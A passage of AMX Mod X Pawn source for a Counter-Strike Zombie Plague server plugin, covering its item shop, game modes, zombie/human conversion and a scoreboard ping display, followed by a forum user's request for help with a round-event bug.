					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (120 < get_armor(iPlayer))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
					set_armor(iPlayer, get_armor(iPlayer) + 200);
					sound(iPlayer, 3, "zombie_plague/armor_equip.wav");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
				}
			}
			case 15:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				g_iJumpsNum[iPlayer]++;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iJumpsNum[iPlayer] + 1);
			}
			case 16:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				g_cClass[iPlayer] = "Tryder";
				g_bTryder[iPlayer] = true;
				strip_user_weapons(iPlayer);
				set_armor(iPlayer, 777);
				set_health(iPlayer, 777);		
				give_weapon(iPlayer, "weapon_knife");
				give_weapon(iPlayer, "weapon_deagle");
				give_weapon(iPlayer, "weapon_xm1014");
				give_weapon(iPlayer, "weapon_g3sg1");
				give_weapon(iPlayer, "weapon_ak47");
				give_weapon(iPlayer, "weapon_m4a1");
				give_weapon(iPlayer, "weapon_hegrenade");
				give_weapon(iPlayer, "weapon_flashbang");
				give_weapon(iPlayer, "weapon_smokegrenade");
				give_ammo(iPlayer, 26, 9999);
				give_ammo(iPlayer, 5, 9999);
				give_ammo(iPlayer, 24, 9999);
				give_ammo(iPlayer, 28, 9999);
				give_ammo(iPlayer, 22, 9999);
				g_bUnlimitedClip[iPlayer] = true;
				set_glow(iPlayer, 19, 13, 250, 10, 175);
				sound(iPlayer, 3, "zombie_plague/armor_equip.wav");
				ExecuteHamB(Ham_Item_PreFrame, iPlayer);
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
				PrintToChat(0, "^x04[ZP]^x03 %s^x01 is now a^x04 Tryder", g_cName[iPlayer]);
			}
			case 17:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{ 
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				static cTime;
				static iTime[3];
				get_time("%H", iTime, 2);
				cTime = str_to_num(iTime);
				if (iSurvivors)
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 There already was a survivor this map!");
					return 0;
				}
				else
				{
					if (bAlreadyBought[iPlayer])
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
						return 0;
					}
					if (get_gametime() - g_fRoundStartTime < 2.0)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
						return 0;
					}
					if (cTime >= 22 || cTime <= 10)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x03 Survivor ^x01it's unavailable between^x04 22:00^x01 and^x04 10:00");
						return 0;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						iSurvivors += 1;
						remove_task(550);
						StartSurvivorMode(iPlayer);
						remove_task(700);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor !!!", g_cName[iPlayer]);
						PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Survivor", g_cName[iPlayer]);
					}
					else
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
						return 0;
					}
				}
			}
			case 18:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				static cTime;
				static iTime[3];
				get_time("%H", iTime, 2);
				cTime = str_to_num(iTime);
				if (iSnipers)
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 There already was a sniper this map!");
					return 0;
				}
				else
				{
					if (bAlreadyBought[iPlayer])
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
						return 0;
					}
					if (get_gametime() - g_fRoundStartTime < 2.0)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
						return 0;
					}
					if (cTime >= 22 || cTime <= 10)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x03 Sniper ^x01it's unavailable between^x04 22:00^x01 and^x04 10:00");
						return 0;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						iSnipers += 1;
						remove_task(550);
						StartSniperMode(iPlayer);
						remove_task(700);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper !!!", g_cName[iPlayer]);
						PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Sniper", g_cName[iPlayer]);
					}
					else
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
						return 0;
					}
				}
			}
			case 19:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if (bAlreadyBought[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
					return 0;
				}
				else
				{
					if (get_gametime() - g_fRoundStartTime < 2.0)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
						return 0;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						remove_task(550);
						StartNemesisMode(iPlayer);
						remove_task(700);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis !!!", g_cName[iPlayer]);
						PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Nemesis", g_cName[iPlayer]);
					}
					else
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
						return 0;
					}
				}
			}
			case 20:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if (bAlreadyBought[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
					return 0;
				}
				else
				{
					if (get_gametime() - g_fRoundStartTime < 2.0)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
						return 0;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						remove_task(550);
						StartAssassinMode(iPlayer);
						remove_task(700);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
						PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Assassin !!!", g_cName[iPlayer]);
					}
					else
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
						return 0;
					}
				}
			}
			case 21:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				g_iBlinks[iPlayer] += 5;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
			}	
		}
	}
	return 0;
}

GetZombies()
{
	static iZombies;
	static i;
	iZombies = 0;
	i = 0;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bZombie[i] && g_bAlive[i])
		{
			iZombies += 1;
		}
		i += 1;
	}
	return iZombies;
}

GetHumans()
{
	static iHumans;
	static i;
	iHumans = 0;
	i = 0;
	while (g_iMaxClients + 1 > i)
	{
		if (!g_bZombie[i] && g_bAlive[i])
		{
			iHumans += 1;
		}
		i += 1;
	}
	return iHumans;
}

MessageLog(iReceiver, cMessage[], any:...)
{
	static cBuffer[192];
	vformat(cBuffer, 191, cMessage, 3);
	if (iReceiver)
	{
		send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
	}
	else
	{
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i))
			{
				send_say_text(i, g_iMaxClients + 1, cBuffer);
			}
			i += 1;
		}
	}
	log_amx("^"%s^"", cBuffer);
	return 0;
}

PrintToChat(iReceiver, cMessage[], any:...)
{
	static cBuffer[192];
	vformat(cBuffer, 191, cMessage, 3);
	if (iReceiver)
	{
		send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
	}
	else
	{
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i))
			{
				send_say_text(i, g_iMaxClients + 1, cBuffer);
			}
			i += 1;
		}
	}
	return 0;
}

bool:GetAccess(iPlayer, iLevel, iNum)
{
	static bool:bDone;
	bDone = true;
	if (!(iLevel & get_user_flags(iPlayer)))
	{
		bDone = false;
		console_print(iPlayer, "You have no access to that command");
	}
	else
	{
		if (iNum > read_argc())
		{
			bDone = false;
			console_print(iPlayer, "Wrong ussage. The command needs %d arguments", iNum + -1);
		}
	}
	return bDone;
}

GetTarget(iPlayer, cTarget[], iFlags)
{
	static iTarget;
	static bool:bDone;
	static done;
	bDone = false;
	iTarget = find_player("bl", cTarget);
	if (iTarget && find_player("blj", cTarget) != iTarget)
	{
		console_print(iPlayer, "There are more clients matching to your argument");
		return 0;
	}
	if (cTarget[0] == 35)
	{
		iTarget = GetUserIdMatch(cTarget);
	}
	if (!iTarget)
	{
		console_print(iPlayer, "Client with that name or userid not found");
		return 0;
	}
	bDone = true;
	if (iFlags & 4 && get_user_flags(iTarget) & 1 && iTarget != iPlayer)
	{
		bDone = false;
		console_print(iPlayer, "Client %s has immunity", g_cName[iTarget]);
	}
	if (iFlags & 2 && !g_bAlive[iTarget])
	{
		bDone = false;
		console_print(iPlayer, "That action can't be performed on dead client %s", g_cName[iTarget]);
	}
	if (!(iFlags & 1) && g_bFake[iTarget])
	{
		bDone = false;
		console_print(iPlayer, "That action can't be performed on bot %s", g_cName[iTarget]);
	}
	if (bDone)
	{
		done = iTarget;
	}
	else
	{
		done = 0;
	}
	return done;
}

GetUserIdMatch(cTarget[])
{
	static cNumber[32];
	static iTarget;
	static i;
	copy(cNumber, 32, cTarget[1]);
	iTarget = str_to_num(cNumber);
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_user_userid(i) == iTarget)
		{
			return i;
		}
		i += 1;
	}
	return 0;
}

xs_vec_mul_scalar(Float:fVec[], Float:fScalar, Float:fOut[])
{
    fOut[0] = fVec[0] * fScalar;
    fOut[1] = fVec[1] * fScalar;
    fOut[2] = fVec[2] * fScalar;
    return 0;
}

xs_vec_add(Float:fFirst[], Float:fSecond[], Float:fOut[])
{
    fOut[0] = fFirst[0] + fSecond[0];
    fOut[1] = fFirst[1] + fSecond[1];
    fOut[2] = fFirst[2] + fSecond[2];
    return 0;
}

Float:GetSpeed(iEntity)
{
	static Float:fVelocity[3];
	get_velocity(iEntity, fVelocity);
	return vector_length(fVelocity);
}

CheckLastPlayer(iPlayer)
{
	if (g_bRoundEnd || task_exists(550))
	{
		return 0;
	}
	static i;
	static iPlayersNum;
	iPlayersNum = GetAliveCount();
	if (iPlayersNum < 2)
	{
		return 0;
	}
	if (g_bZombie[iPlayer] && GetZombies() == 1)
	{
		if (GetHumans() == 1)
		{
			return 0;
		}
		do {
		} while (iPlayer == (i = GetRandomAlive()));
		PrintToChat(0, "^x04[ZP]^x01 Last zombie,^x03 %s^x01 disconnected,^x04 %s^x01 is the last zombie!", g_cName[iPlayer], g_cName[i]);
		switch (g_iPlayerType[iPlayer])
		{
			case 0:
			{
				MakeZombie(0, i, false, false, false);
			}
			case 1:
			{
				MakeZombie(0, i, false, true, false);
				set_health(i, get_health(iPlayer));
			}
			case 2:
			{
				MakeZombie(0, i, false, false, true);
				set_health(i, get_health(iPlayer));
			}	
		}
	}
	else
	{
		if (!g_bZombie[iPlayer] && GetHumans() == 1)
		{
			if (GetZombies() == 1)
			{
				return 0;
			}
			do {
			} while (iPlayer == (i = GetRandomAlive()));
			PrintToChat(0, "^x04[ZP]^x01 Last human,^x03 %s^x01 disconnected,^x04 %s^x01 is the last human!", g_cName[iPlayer], g_cName[i]);
			switch (g_iPlayerType[iPlayer])
			{
				case 0:
				{
					MakeHuman(i, false, false);
				}
				case 4:
				{
					MakeHuman(i, true, false);
					set_health(i, get_health(iPlayer));
				}
				case 8:
				{
					MakeHuman(i, false, true);
					set_health(i, get_health(iPlayer));
				}			
			}
		}
	}
	return 0;
}

GetAliveCount()
{
	static iCount;
	static i;
	iCount = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iCount += 1;
		}
		i += 1;
	}
	return iCount;
}

GetRandomAlive()
{
	static j;
	static i;
	static iPlayers[32];
	j = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iPlayers[j] = i;
			j += 1;
		}
		i += 1;
	}
	return iPlayers[random_num(0, j + -1)];
}

MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
{
	if (g_iZombieNextClass[iVictim] == -1)
	{
		menu_display(iVictim, g_iMenuZombieClasses);
	}
	g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
	if (g_iZombieClass[iVictim] == -1)
	{
		g_iZombieClass[iVictim] = 0;
	}
	if (get_user_jetpack(iVictim))
	{
		user_drop_jetpack(iVictim, 1);
	}
	g_bZombie[iVictim] = true;
	set_zombie(iVictim, true);
	g_iBurningDuration[iVictim] = 0;
	g_iPlayerType[iVictim] = 0;
	g_bNoDamage[iVictim] = false;
	remove_glow(iVictim);
	remove_task(iVictim + 200);
	remove_task(iVictim + 250);
	g_cClass[iVictim] = g_cZombieClasses[g_iZombieClass[iVictim]];

	if (iAttacker)
	{
		send_death_msg(iAttacker, iVictim);
		send_score_attrib(iVictim);
		set_frags(iAttacker, get_frags(iAttacker) + 1);
		set_deaths(iVictim, get_deaths(iVictim) + 1);
		send_score_info(iAttacker);
		send_score_info(iVictim);
		g_iPacks[iAttacker]++;
		if (g_iZombieClass[iAttacker] == 6)
		{
            set_health(iAttacker, get_health(iAttacker) + 250);
            send_implosion(iAttacker);
            send_screen_fade(iAttacker,  255, 10, 10, 94);
            set_glow(iAttacker, 19, 13, 255, 10, 10);
            set_task(3.0, "TaskRemoveRender", iAttacker, "", 0, "", 0);
            set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
            ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== HUNTER ==^n!!!!Regeneration: +250 HP Gained!!!");
		}
		if (g_iZombieClass[iAttacker] == 3)
		{
            set_health(iAttacker, get_health(iAttacker) + 500);
            send_screen_fade(iAttacker,  64, 180, 0, 94);
            set_hudmessage(220, 235, 10, 0.12, 0.30, 1, 0.00, 1.75, 1.00, 1.00, -1);
            ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== MUTANT ==^n!!!!Regeneration: +500 HP Gained!!!");
		}
	}
	if (!bSilent)
	{
		if (bNemesis)
		{
			g_iPlayerType[iVictim] |= 1;
			set_health(iVictim, 150000);
			set_glow(iVictim, 19, 25, 255, 0, 0);
			g_cClass[iVictim] = "Nemesis"

		}
		else if (bAssassin)
		{
			g_iPlayerType[iVictim] |= 2;
			set_health(iVictim, 25000);
			g_cClass[iVictim] = "Assassin"

		}
		else if (GetZombies() == 1 && !g_iPlayerType[iVictim])
		{
			set_health(iVictim, floatround(float(g_iZombieHealths[g_iZombieClass[iVictim]]) * 2.25, floatround_round));
			sound(iVictim, 2, g_cZombieInfectSounds[random_num(0, 4)]);
		}
		else
		{
			set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
			sound(iVictim, 2, g_cZombieInfectSounds[random_num(0, 4)]);
			set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
			if (iAttacker)
			{
			    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
			}
			else
			{
			    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten...", g_cName[iVictim]);
			}
		}
	}
	else
	{
		set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
	}
	if (get_team(iVictim) != 1)
	{
		set_team(iVictim, 1);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (fCurrentTime - g_fLastChangedModel >= 0.25)
	{
        ChangeModel(iVictim + 250);
        g_fLastChangedModel = fCurrentTime;
	}
	else
	{
        set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iVictim + 250, "", 0, "", 0);
        g_fLastChangedModel = g_fLastChangedModel + 0.25;
	}	
	if (g_iPlayerType[iVictim])
	{
		send_fov(iVictim, 110);
		set_monster(iVictim, true);
	}
	else
	{
		if (g_iZombieClass[iVictim] == 4)
		{
			g_iJumpsNum[iVictim] = 1;
		}
	}
	send_screen_fade(iVictim,  150, 0, 0, 255);
	send_screen_shake(iVictim, 150000 , 25000, 135000);
	send_damage(iVictim, 65536);
	send_implosion(iVictim);
	send_particle_burst(iVictim);
	send_light(iVictim);
	Task_EnableFlash(iVictim);
	strip_user_weapons(iVictim);
	reset_armor(iVictim);
	give_weapon(iVictim, "weapon_knife");
	ExecuteHamB(Ham_Item_PreFrame, iVictim);
	return 0;
}

MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
{
	remove_task(iPlayer + 200);
	remove_task(iPlayer + 350);
	remove_task(iPlayer + 250);
	g_bCanBuy[iPlayer] = 1;
	g_bNoDamage[iPlayer] = false;
	g_bFlashEnabled[iPlayer] = false;
	g_bFlash[iPlayer] = false;
	g_bFrozen[iPlayer] = false;
	g_bZombie[iPlayer] = false;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	send_fov(iPlayer, 90);
	set_zombie(iPlayer, false);
	g_cClass[iPlayer] = "Human";
	strip_user_weapons(iPlayer);
	give_weapon(iPlayer, "weapon_knife");
	remove_glow(iPlayer);
	if (bSurvivor)
	{
		g_iPlayerType[iPlayer] |= 4;
		set_health(iPlayer, 3000);
		give_weapon(iPlayer, "weapon_m4a1");
		give_ammo(iPlayer, 22, 9999);
		give_weapon(iPlayer, "weapon_ak47");
		give_ammo(iPlayer, 28, 9999);
		give_weapon(iPlayer, "weapon_xm1014");
		give_ammo(iPlayer, 5, 9999);
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_weapon(iPlayer, "weapon_hegrenade");
		}
		g_cClass[iPlayer] = "Survivor";
	}
	else if (bSniper)
	{
		g_iPlayerType[iPlayer] |= 8;
		set_health(iPlayer, 3000);
		give_weapon(iPlayer, "weapon_awp");
		give_ammo(iPlayer, 18, 9999);
		set_glow(iPlayer, 19, 13, 200, 200, 0);		
		g_cClass[iPlayer] = "Sniper";
	}
	else
	{
		set_health(iPlayer, 150);
		menu_display(iPlayer, g_iPrimaryMenu);
		send_teleport(iPlayer);
		sound(iPlayer, 3, "zombie_plague/antidote.wav");
		set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iLeftMessageSync, "%s has used an antidote!", g_cName[iPlayer]);
	}
	if (get_team(iPlayer) != 2)
	{
		set_team(iPlayer, 2);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (fCurrentTime - g_fLastChangedModel >= 0.25)
	{
        ChangeModel(iPlayer + 250);
        g_fLastChangedModel = fCurrentTime;
	}
	else
	{
        set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
        g_fLastChangedModel = g_fLastChangedModel + 0.25;
	}	
	ExecuteHamB(Ham_Item_PreFrame, iPlayer);
	return 0;
}

InsertInfo(iPlayer)
{
	if (0 < g_iSize)
	{
		static iLast;
		iLast = 0;
		if (g_iSize < 10)
		{
			iLast = g_iSize + -1;
		}
		else
		{
			iLast = g_iTracker + -1;
			if (0 > iLast)
			{
				iLast = g_iSize + -1;
			}
		}
		if (equal(g_cPlayerAddress[iPlayer], g_cAddresses[iLast]))
		{
			copy(g_cLNames[iLast], 32, g_cName[iPlayer]);
			return 0;
		}
	}
	static iTarget;
	iTarget = 0;
	if (g_iSize < 10)
	{
		iTarget = g_iSize;
		g_iSize += 1;
	}
	else
	{
		iTarget = g_iTracker;
		g_iTracker += 1;
		if (g_iTracker == 10)
		{
			g_iTracker = 0;
		}
	}
	copy(g_cLNames[iTarget], 32, g_cName[iPlayer]);
	copy(g_cAddresses[iTarget], 24, g_cPlayerAddress[iPlayer]);
	return 0;
}

GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
{
	static iTarget;
	iTarget = i + g_iTracker % 10;
	copy(cName, iNameSize, g_cLNames[iTarget]);
	copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
	return 0;
}

AddCommas(Num, Output[], Len)
{
   static Tmp[16], OutputPos = 0, NumPos = 0, NumLen = 0;
   OutputPos = NumPos = 0;
   if (Num < 0)
   {
      Output[OutputPos++] = '-';
      Num = abs(Num);
   }
   NumLen = num_to_str(Num, Tmp, charsmax(Tmp));
   if (NumLen <= 3)
   {
      OutputPos += copy(Output[OutputPos], Len, Tmp);
   }
   else
   {
      while (NumPos < NumLen && OutputPos < Len)
      {
         Output[OutputPos++] = Tmp[NumPos++];
         if (NumLen - NumPos && !((NumLen - NumPos) % 3))
		 {
            Output[OutputPos++] = ',';
		 }
      }
      Output[OutputPos] = '^0';
   }
}

public Update_Client_Data(id)
{
    if(!(pev( id, pev_button ) & IN_SCORE ) && !( pev( id, pev_oldbuttons ) & IN_SCORE ) )
        return;
    
    static player, sending;
    sending = 0;
    static iStarted;
    
    for( player = 1; player <= g_iMaxClients; player++ )
    {
        if( !is_user_connected( player ) )
             continue;
        
        switch( sending )
        {
            case 0:
            {
                if ((iStarted = ping(id)))
				{
					write_byte((g_iOffset[ player ][ 0 ] * 64 ) + ( 1 + 2 * ( player - 1 )));
					write_short(g_iArgumentPing[ player ][ 0 ]);
				}
                sending++;
            }
            
            case 1:
            {
				if (iStarted)
				{
					write_byte( ( g_iOffset[ player ][ 1 ] * 128 ) + ( 2 + 4 * ( player - 1 ) ) );
					write_short( g_iArgumentPing[ player ][ 1 ] );
				}
				sending++;
            }
            
            case 2:
            {
				if (iStarted)
				{
					write_byte( ( 4 + 8 * ( player - 1 ) ) );
					write_short( g_iArgumentPing[ player ][ 2 ] );
					write_byte( 0 );
					message_end( );
				}
				sending = 0;
            }
        }
    }
    
    if (sending && iStarted)
    {
        write_byte( 0 );
        message_end( );
    }
}

public TaskCalculateArguments()
{
    static player, ping;
    for( player = 1; player <= g_iMaxClients; player++ )
    {
        if( g_iPingOverride[ player ] < 0 )
		{
            ping = random_num(-4, 4) + 12;
        }
        else
		{
            ping = g_iPingOverride[ player ];
        }
        for( g_iOffset [ player ][ 0 ] = 0; g_iOffset[ player ][ 0 ] < 4; g_iOffset[ player ][ 0 ]++ )
        {
            if( ( ping - g_iOffset[ player ][ 0 ] ) % 4 == 0 )
            {
                g_iArgumentPing[ player ][ 0 ] = ( ping - g_iOffset[ player ][ 0 ] ) / 4;
                break;
            }
        }
        
        for (g_iOffset[player][1] = 0; g_iOffset[player][1] < 2; g_iOffset[player][1]++)
        {
            if( ( ping - g_iOffset[ player ][ 1 ] ) % 2 == 0 )
            {
                g_iArgumentPing[ player ][ 1 ] = ( ping - g_iOffset[ player ][ 1 ] ) / 2;
                break;
            }
        }
        g_iArgumentPing[ player ][ 2 ] = ping;
    }
}

I think its something with the logevent(RoundStart Or RoundEnd)
Would be very thankful
Ali0mer is offline
Send a message via Skype™ to Ali0mer
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 05:14.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode